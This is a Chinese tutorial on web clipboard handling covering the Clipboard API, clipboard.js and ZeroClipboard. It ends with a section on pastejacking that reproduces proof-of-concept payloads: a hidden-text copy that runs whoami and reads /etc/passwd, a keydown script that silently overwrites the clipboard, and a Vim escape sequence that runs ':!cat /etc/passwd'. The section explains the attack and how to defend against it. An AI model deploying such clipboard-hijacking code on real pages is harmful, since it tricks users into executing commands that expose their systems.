本部分系列文章Github Repo
Introduction
Clipboard API
IE是最早支持与剪贴板相关的事件,以及通过JavaScript访问剪贴板数据的浏览器。 IE的实现成为了事实上的标准,随后Firefox 3+ 、 Chrome和Safari 2+都支持类似的事件和剪贴板的访问,但是Opera不支持通过JavaScript访问剪贴板。直到HTML5的到来,将剪贴板相关事件纳入了 HTML5规范。
数据访问
要访问剪贴板中的数据,可以通过clipboardData对象:在IE中,clipboardData对象是window对象的属性;而在 Chrome、Safari和Firefox 4+中,clipboardData对象是相应event对的属性。但是,在Chrome、Safari和Firefox 4+中,只有在处理剪贴板事件期间,clipboardData对象才有效,这是为了防止对剪贴板的未授权访问;在IE中,则可以随时访问 clipboardData对象。为了确保跨浏览器兼容,最好只在发生剪贴板事件期间使用这个对象。
//获取剪贴板数据方法
function getClipboardText(event){
var clipboardData = event.clipboardData || window.clipboardData;
return clipboardData.getData("text");
};
//设置剪贴板数据
function setClipboardText(event, value){
if(event.clipboardData){
return event.clipboardData.setData("text/plain", value);
}else if(window.clipboardData){
return window.clipboardData.setData("text", value);
}
};
这个clipboardData对象有三个方法:getData()方法、setData()方法和clearData()方法。其中,getData()方法用于从剪贴板中获取数据,它接收一个参数,即要取得的数据格式。在IE中,有两种数据格式:’text”和”URL”。在Chrome、Safari和Firefox 4+中,这个参数是一种MIME类型;不过,可以用”text”代表”text/plain”。setData()方法的第一个参数也是数据类型,第二个参数是要放在剪贴板中的文字。对于第一个参数,IE照样是支持”text”和”URL”,而在Chrome、Safari中,仍然支持MIME类型。但是与getData()方法不同的是,在Chrome、Safari中的setData()方法不能识别”text”类型。这两个浏览器在成功将文本放到剪贴板中后,都会返回true;否则返回false。好了说了这么多,就来看下面的小例子吧。
事件监控
下面就是6个剪贴板事件。
beforecopy:在发生复制操作前触发;
copy:在发生复制操作的时候触发;
beforecut:在发生剪切操作前触发;
cut:在发生剪切操作的时候触发;
beforepaste:在发生粘贴操作前触发;
paste:在发生粘贴操作的时候触发。
在Firefox、Chrome和Safari中,beforecopy、beforecut和beforepaste事件只会在显示针对文本框的上下文 菜单(预期将发生剪贴板事件)的情况下触发。但是IE则会在触发copy、cut和paste事件之前先触发这些事件。至于copy、cut和paste 事件,只要是在上下文菜单(右键菜单)中选择了相应选项,或者使用了相应的键盘组合键如(ctrl+v),所有浏览器都会触发他们。这里以beforecopy为例:
<head>
<script type="text/javascript">
function OnBeforeCopy () {
alert ("An onbeforecopy event has occurred.");
if (window.clipboardData) {
var data = window.clipboardData.getData ("Text");
alert ("The contents of the clipboard before the copy operation are\n" + data);
}
}
</script>
</head>
<body onbeforecopy="OnBeforeCopy ()">
Select some text on this page and press CTRL + C!
</body>
clipboardjs:基于Selection与execCommand的便捷封装
与标准的Clipboard API相比,clipboardjs具有相对较好地兼容性与易用性,它的浏览器适用范围是:
笔者实机测试过部分Android 4.0+与iOS 8+的移动设备,还是可以使用的。
Installation & Setup
可以基于npm安装:
npm install clipboard --save
或者基于bower安装:
bower install clipboard --save
安装之后直接引入即可:
<script src="dist/clipboard.min.js"></script>
Basic Usage
注意,所有的Clipboard初始化时候都需要传入一个DOM元素,然后基于H5的data-*属性来控制待操作的对象,譬如:
<!-- Target -->
<input id="foo" value="https://github.com/zenorocha/clipboard.js.git">
<!-- Trigger -->
<button class="btn" data-clipboard-target="#foo">
<img src="assets/clippy.svg" alt="Copy to clipboard">
</button>
<!--JS-->
new Clipboard('.btn');
这样就建立了基本的拷贝操作,如果是需要进行剪切操作的话:
<!-- Target -->
<textarea id="bar">Mussum ipsum cacilds...</textarea>
<!-- Trigger -->
<button class="btn" data-clipboard-action="cut" data-clipboard-target="#bar">
Cut to clipboard
</button>
也可以直接复制一些属性:
<!-- Trigger -->
<button class="btn" data-clipboard-text="Just because you can doesn't mean you should — clipboard.js">
Copy to clipboard
</button>
Event
clipboardjs也为我们设置了一些在调用前后的监听事件,最常用的就是success与error事件:
var clipboard = new Clipboard('.btn');
clipboard.on('success', function(e) {
console.info('Action:', e.action);
console.info('Text:', e.text);
console.info('Trigger:', e.trigger);
e.clearSelection();
});
clipboard.on('error', function(e) {
console.error('Action:', e.action);
console.error('Trigger:', e.trigger);
});
Advanced Usage
如果你希望利用代码动态控制目标元素和文本内容,clipboardjs也提供了一系列易用的API,你要做的就是按照规范声明方程。譬如,如果你想要动态设置操作目标target
,可以直接返回一个Node节点:
new Clipboard('.btn', {
target: function(trigger) {
return trigger.nextElementSibling;
}
});
如果想要动态设置文本内容,可以返回一个String:
new Clipboard('.btn', {
text: function(trigger) {
return trigger.getAttribute('aria-label');
}
});
另外,如果你是一个单页应用,可以利用destroy来在DOM的生命周期中进行控制:
var clipboard = new Clipboard('.btn');
clipboard.destroy();
ZeroClipboard:基于Flash的剪贴板控制
ZeroClipboard是只要在能够使用Flash的地方就可以使用,如果碰上Flash被禁止了的就歇菜了。现在不是很建议使用,不过在某些需要兼容的老版本浏览器上可以考虑:
<html>
<body>
<button id="copy-button" data-clipboard-text="Copy Me!" title="Click to copy me.">Copy to Clipboard</button>
<script src="ZeroClipboard.js"></script>
<script src="main.js"></script>
</body>
</html>
// main.js
var client = new ZeroClipboard( document.getElementById("copy-button") );
client.on( "ready", function( readyEvent ) {
// alert( "ZeroClipboard SWF is ready!" );
client.on( "aftercopy", function( event ) {
// `this` === `client`
// `event.target` === the element that was clicked
event.target.style.display = "none";
alert("Copied text to clipboard: " + event.data["text/plain"] );
} );
} );
Pastejacking:复制劫持
笔者也是最近看到了Github上的这篇关于复制劫持的文章,才打算把之前的网页剪贴板相关的东西整理下发出来。浏览器允许开发者能够自主地控制用户剪贴板,不过这样也就导致了部分恶意网页可能引导用户无意间执行恶意代码。最常见的就是譬如你浏览某个教程网站,上面提示你输入以下命令:
git clone git://git.kernel.org/pub/scm/utils/kup/kup.git
作为资深懒货,我肯定选择复制粘贴啦,然后我就Happy的Ctrl+C,然后我惊讶的发现自己的剪贴板里的内容变成了:
git clone /dev/null; clear; echo -n "Hello ";whoami|tr -d '\n';echo -e '!\nThat was a bad idea. Don'"'"'t copy code from websites you don'"'"'t trust!
Here'"'"'s the first line of your /etc/passwd: ';head -n1 /etc/passwd
git clone git://git.kernel.org/pub/scm/utils/kup/kup.git
这种攻击方法还是基于典型的HTML/CSS隐藏属性,在开发者工具中查看DOM树可以发现,在我们看不见的地方放了这些东西:
当我们选定复制的时候,其实是把那些隐藏的部分全部选上了。而我们这边要讨论的剪贴板劫持攻击跟这个的效果很类似,只不过剪贴板劫持攻击会更让你防不胜防一点,它可以在你任何一个点击事件后触发,并且可以控制将一些十六进制字符复制进去,有时候还能用来干掉你的Vim,还是先看一个例子:
可以看出这次没有隐藏DOM元素,但是当我们复制了之后,得到的却是:
touch ~/.evil
clear
echo "not evil"
这次是因为它加了这么个控制脚本:
function copyTextToClipboard(text) {
var textArea = document.createElement("textarea");
//
// *** This styling is an extra step which is likely not required. ***
//
// Why is it here? To ensure:
// 1. the element is able to have focus and selection.
// 2. if element was to flash render it has minimal visual impact.
// 3. less flakyness with selection and copying which **might** occur if
// the textarea element is not visible.
//
// The likelihood is the element won't even render, not even a flash,
// so some of these are just precautions. However in IE the element
// is visible whilst the popup box asking the user for permission for
// the web page to copy to the clipboard.
//
// Place in top-left corner of screen regardless of scroll position.
textArea.style.position = 'fixed';
textArea.style.top = 0;
textArea.style.left = 0;
// Ensure it has a small width and height. Setting to 1px / 1em
// doesn't work as this gives a negative w/h on some browsers.
textArea.style.width = '2em';
textArea.style.height = '2em';
// We don't need padding, reducing the size if it does flash render.
textArea.style.padding = 0;
// Clean up any borders.
textArea.style.border = 'none';
textArea.style.outline = 'none';
textArea.style.boxShadow = 'none';
// Avoid flash of white box if rendered for any reason.
textArea.style.background = 'transparent';
textArea.value = text;
document.body.appendChild(textArea);
textArea.select();
try {
var successful = document.execCommand('copy');
var msg = successful ? 'successful' : 'unsuccessful';
console.log('Copying text command was ' + msg);
} catch (err) {
console.log('Oops, unable to copy');
}
document.body.removeChild(textArea);
}
document.addEventListener('keydown', function(event) {
var ms = 800;
var start = new Date().getTime();
var end = start;
while(end < start + ms) {
end = new Date().getTime();
}
copyTextToClipboard('touch ~/.evil\nclear\necho "not evil"');
});
防不胜防啊。这东西就好像当年某些钓鱼网站让你乱下一些PE病毒一样,并没有直接的解决方案,最好的防护方式就是以后你复制命令到终端的时候仔细瞅瞅,或者先复制到一个第三方的编辑器内看看有没有啥奇怪的命令。不过别用Vim作为验证,譬如如下的攻击方式:
copyTextToClipboard('echo "evil"\n \x1b:!cat /etc/passwd\n');
它会利用Vim的Macro来获取你的用户密码等。如果你用的是ITerm,它会提醒你那些自动利用换行来执行的命令:
**粗体** _斜体_ [链接](http://example.com) `代码` - 列表 > 引用
。你还可以使用@
来通知其他用户。